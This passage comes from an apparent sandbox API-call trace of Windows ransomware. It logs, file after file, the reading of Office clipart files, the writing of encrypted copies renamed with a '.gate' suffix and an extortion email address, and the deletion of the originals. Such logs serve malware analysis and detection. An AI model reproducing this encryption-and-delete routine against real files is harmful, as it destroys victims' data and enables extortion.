lpString2="_.WMF") returned -1 [0293.356] lstrlenW (lpString=".pdf") returned 4 [0293.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.356] lstrlenW (lpString=".xls") returned 4 [0293.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.356] lstrlenW (lpString=".xlsx") returned 5 [0293.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.356] lstrlenW (lpString=".ppt") returned 4 [0293.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0293.356] lstrlenW (lpString=".zip") returned 4 [0293.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.356] lstrlenW (lpString=".rar") returned 4 [0293.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.356] lstrlenW (lpString=".bz2") returned 4 [0293.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.356] lstrlenW (lpString=".7z") returned 3 [0293.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0293.356] lstrlenW (lpString=".dbf") returned 4 [0293.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0293.356] lstrlenW (lpString=".1cd") returned 4 [0293.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0293.356] lstrlenW (lpString=".jpg") returned 4 [0293.357] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.357] GetFileSizeEx (in: hFile=0x4e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2080) returned 1 [0293.357] CloseHandle (hObject=0x4e8) returned 1 [0293.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0293.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0293.358] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.358] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0293.358] GetLastError () returned 0x0 [0293.358] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x820, lpOverlapped=0x0) returned 1 [0293.457] WriteFile (in: hFile=0x514, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x830, lpOverlapped=0x0) returned 1 [0293.458] ReadFile (in: hFile=0x4e8, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.458] WriteFile (in: hFile=0x514, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.458] SetEndOfFile (hFile=0x514) returned 1 [0293.458] CloseHandle (hObject=0x514) returned 1 [0293.458] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.458] SetEndOfFile (hFile=0x4e8) returned 1 [0293.460] CloseHandle (hObject=0x4e8) returned 1 [0293.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.609] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0293.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0293.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0293.609] lstrlenW (lpString=".doc") returned 4 [0293.609] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.609] lstrlenW (lpString=".docx") returned 5 [0293.609] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.609] lstrlenW (lpString=".pdf") returned 4 [0293.609] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.610] lstrlenW (lpString=".xls") returned 4 [0293.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.610] lstrlenW (lpString=".xlsx") returned 5 [0293.610] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.610] lstrlenW (lpString=".ppt") returned 4 [0293.610] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0293.610] lstrlenW (lpString=".zip") returned 4 [0293.610] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.610] lstrlenW (lpString=".rar") returned 4 [0293.610] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.610] lstrlenW (lpString=".bz2") returned 4 [0293.610] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.610] lstrlenW (lpString=".7z") returned 3 [0293.610] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0293.610] lstrlenW (lpString=".dbf") returned 4 [0293.610] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0293.610] lstrlenW (lpString=".1cd") returned 4 [0293.610] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0293.610] lstrlenW (lpString=".jpg") returned 4 [0293.610] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.611] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2404) returned 1 [0293.611] CloseHandle (hObject=0x528) returned 1 [0293.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220 [0293.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0293.611] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.611] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0293.612] GetLastError () returned 0x0 [0293.612] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x964, lpOverlapped=0x0) returned 1 [0293.646] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x970, lpOverlapped=0x0) returned 1 [0293.646] ReadFile (in: hFile=0x528, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.646] WriteFile (in: hFile=0x50c, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0293.647] SetEndOfFile (hFile=0x50c) returned 1 [0293.655] CloseHandle (hObject=0x50c) returned 1 [0293.655] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.655] SetEndOfFile (hFile=0x528) returned 1 [0293.662] CloseHandle (hObject=0x528) returned 1 [0293.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0293.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1 [0293.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0293.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0293.680] lstrlenW (lpString=".doc") returned 4 [0293.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0293.680] lstrlenW (lpString=".docx") returned 5 [0293.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0293.680] lstrlenW (lpString=".pdf") returned 4 [0293.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0293.680] lstrlenW (lpString=".xls") returned 4 [0293.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0293.680] lstrlenW (lpString=".xlsx") returned 5 [0293.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0293.680] lstrlenW (lpString=".ppt") returned 4 [0293.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0293.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0293.680] lstrlenW (lpString=".zip") returned 4 [0293.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0293.680] lstrlenW (lpString=".rar") returned 4 [0293.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0293.680] lstrlenW (lpString=".bz2") returned 4 [0293.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0293.680] lstrlenW (lpString=".7z") returned 3 [0293.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0293.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0293.681] lstrlenW (lpString=".dbf") returned 4 [0293.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0293.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0293.681] lstrlenW (lpString=".1cd") returned 4 [0293.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0293.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68 [0293.681] lstrlenW (lpString=".jpg") returned 4 [0293.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0293.681] GetFileSizeEx (in: hFile=0x4fc, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=1888) returned 1 [0293.681] CloseHandle (hObject=0x4fc) returned 1 [0293.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 0x220 [0293.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4fc [0293.682] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.682] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0293.683] GetLastError () returned 0x0 [0293.683] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x760, lpOverlapped=0x0) returned 1 [0294.108] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x770, lpOverlapped=0x0) returned 1 [0294.109] ReadFile (in: hFile=0x4fc, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.109] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.109] SetEndOfFile (hFile=0x4f8) returned 1 [0294.109] CloseHandle (hObject=0x4f8) returned 1 [0294.109] SetFilePointerEx (in: hFile=0x4fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.109] SetEndOfFile (hFile=0x4fc) returned 1 [0294.114] CloseHandle (hObject=0x4fc) returned 1 [0294.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01176_.wmf")) returned 1 [0294.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0294.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0294.117] lstrlenW (lpString=".doc") returned 4 [0294.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.117] lstrlenW (lpString=".docx") returned 5 [0294.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.118] lstrlenW (lpString=".pdf") returned 4 [0294.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.118] lstrlenW (lpString=".xls") returned 4 [0294.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.118] lstrlenW (lpString=".xlsx") returned 5 [0294.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.118] lstrlenW (lpString=".ppt") returned 4 [0294.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0294.118] lstrlenW (lpString=".zip") returned 4 [0294.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.118] lstrlenW (lpString=".rar") returned 4 [0294.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.118] lstrlenW (lpString=".bz2") returned 4 [0294.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.118] lstrlenW (lpString=".7z") returned 3 [0294.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0294.118] lstrlenW (lpString=".dbf") returned 4 [0294.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0294.118] lstrlenW (lpString=".1cd") returned 4 [0294.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68 [0294.118] lstrlenW (lpString=".jpg") returned 4 [0294.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.124] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2084) returned 1 [0294.124] CloseHandle (hObject=0x538) returned 1 [0294.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220 [0294.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0294.124] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.124] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0294.125] GetLastError () returned 0x0 [0294.125] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x824, lpOverlapped=0x0) returned 1 [0294.255] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x830, lpOverlapped=0x0) returned 1 [0294.256] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.256] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.256] SetEndOfFile (hFile=0x4f8) returned 1 [0294.312] CloseHandle (hObject=0x4f8) returned 1 [0294.312] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.312] SetEndOfFile (hFile=0x538) returned 1 [0294.314] CloseHandle (hObject=0x538) returned 1 [0294.314] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.314] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0294.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0294.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0294.315] lstrlenW (lpString=".doc") returned 4 [0294.315] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.315] lstrlenW (lpString=".docx") returned 5 [0294.315] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.315] lstrlenW (lpString=".pdf") returned 4 [0294.315] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.315] lstrlenW (lpString=".xls") returned 4 [0294.315] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.315] lstrlenW (lpString=".xlsx") returned 5 [0294.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.315] lstrlenW (lpString=".ppt") returned 4 [0294.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0294.315] lstrlenW (lpString=".zip") returned 4 [0294.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.315] lstrlenW (lpString=".rar") returned 4 [0294.316] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.316] lstrlenW (lpString=".bz2") returned 4 [0294.316] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.316] lstrlenW (lpString=".7z") returned 3 [0294.316] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0294.316] lstrlenW (lpString=".dbf") returned 4 [0294.316] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0294.316] lstrlenW (lpString=".1cd") returned 4 [0294.316] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68 [0294.316] lstrlenW (lpString=".jpg") returned 4 [0294.316] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.316] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=8564) returned 1 [0294.316] CloseHandle (hObject=0x538) returned 1 [0294.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0294.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 